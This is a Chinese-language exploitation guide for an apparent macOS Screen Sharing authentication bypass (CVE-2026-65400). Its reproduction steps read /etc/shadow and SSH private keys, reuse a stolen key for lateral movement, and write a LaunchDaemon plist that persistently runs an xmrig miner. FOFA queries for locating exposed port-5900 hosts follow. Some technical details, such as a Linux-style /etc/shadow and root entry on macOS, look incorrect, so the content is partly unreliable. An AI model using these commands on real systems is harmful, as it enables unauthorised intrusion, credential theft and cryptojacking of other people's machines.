漏洞简介
CVE-2026-65400 是 Apple macOS Screen Sharing(屏幕共享)服务中的高危认证绕过漏洞。屏幕共享服务基于标准 RFB(Remote Framebuffer)协议实现,监听 TCP 5900 端口,允许用户远程控制 Mac 桌面。
攻击者通过构造特殊的 RFB 协议数据包,利用服务器端状态管理缺陷,无需任何有效凭据即可绕过 SRP(Secure Remote Password)认证流程,直接以 root 权限访问目标系统。
影响范围
漏洞原理
Apple macOS 屏幕共享服务基于标准 RFB 协议实现,正常认证流程包含三个阶段:SecurityLevel 协商、SRP 挑战-响应认证、SecurityResult 确认。服务器端在解析客户端发送的 RFB 数据帧时,对异常长的帧长度字段处理存在缺陷。
当攻击者发送包含伪造帧长度(BIG_LEN = 24488)的恶意数据包时,服务器内部缓冲区处理异常,跳过了正常的认证状态检查,直接返回 SecurityResult = 0(认证成功),从而绕过所有密码验证。
漏洞的核心利用点:攻击者以 root 用户身份发起连接,无需提供密码即可获得完全访问权限,并可进一步读取或写入任意文件。
上图完整呈现了 CVE-2026-65400 的利用链:攻击者向暴露在互联网的 TCP/5900 端口发送构造的恶意 RFB 数据包,RFB Server 在解析异常帧长度字段时触发状态机缺陷(漏洞点),跳过完整的 SRP 认证流程直接返回认证成功(SecurityResult=0)。此后攻击者以 root 身份获得文件读取与写入能力,可读取
/etc/shadow、SSH 私钥等敏感文件,或向LaunchDaemons写入恶意 plist 实现持久化,最终以 root 权限执行任意命令、植入挖矿木马并横向移动。整条链路边无需任何有效凭据。
漏洞复现
准备环境
步骤 1:验证目标是否受影响
确认目标 Mac 已开启屏幕共享且端口可达:
nmap -p 5900 <目标IP>
nc -zv <目标IP> 5900若返回 open 或连接成功,则目标可能受影响。
步骤 2:执行文件读取漏洞验证
使用 PoC 脚本读取目标系统敏感文件:
python3 cve-2026-65400-exploit.py <目标IP> /etc/passwd
python3 cve-2026-65400-exploit.py <目标IP> /etc/shadow
python3 cve-2026-65400-exploit.py <目标IP> /Library/Preferences/com.apple.loginwindow.plist -o loginwindow.plist预期输出
[*] target 192.168.1.100:5900 file /etc/passwd
[+] IN without credentials - 1920x1080 "MacMini"
[+] read 1234 bytes from /etc/passwd
[+] sha256: a1b2c3d4e5f6...
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
Powered by 七度光 | www.qdg.tw步骤 3:凭证窃取与横向渗透
读取 SSH 私钥实现无密码登录:
python3 cve-2026-65400-exploit.py <目标IP> /Users/admin/.ssh/id_rsa -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa admin@<内网其他主机>步骤 4:文件写入与持久化
写入恶意 LaunchDaemon 实现持久化 RCE:
cat > evil.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.evil.miner</string>
<key>ProgramArguments</key>
<array>
<string>/usr/local/bin/xmrig</string>
<string>--url=stratum+tcp://pool.example.com:3333</string>
<string>--user=WALLET_ADDRESS</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
EOF
python3 cve-2026-65400-exploit.py <目标IP> /Library/LaunchDaemons/com.evil.miner.plist -w evil.plist -m 0644预期输出
写入成功时输出:
[*] target 192.168.1.100:5900 WRITE -> /Library/LaunchDaemons/com.evil.miner.plist
[*] uploading 456 bytes (mode 0644)
[+] IN without credentials - 1920x1080 "MacMini"
[+] write sent to /Library/LaunchDaemons/com.evil.miner.plist (456 bytes)
[+] sha256(local): f7e8d9c0...
[!] verify with a READ afterwards (without -w).
Powered by 七度光 | www.qdg.twFOFA 语法
搜索 macOS 屏幕共享服务:
port="5900" && os="macos"搜索特定版本(未修补):
port="5900" && title="Screen Sharing"批量扫描特定 IP 段:
port="5900" && country="CN"结合产品标识符:
port="5900" && banner~"RFB 003.008"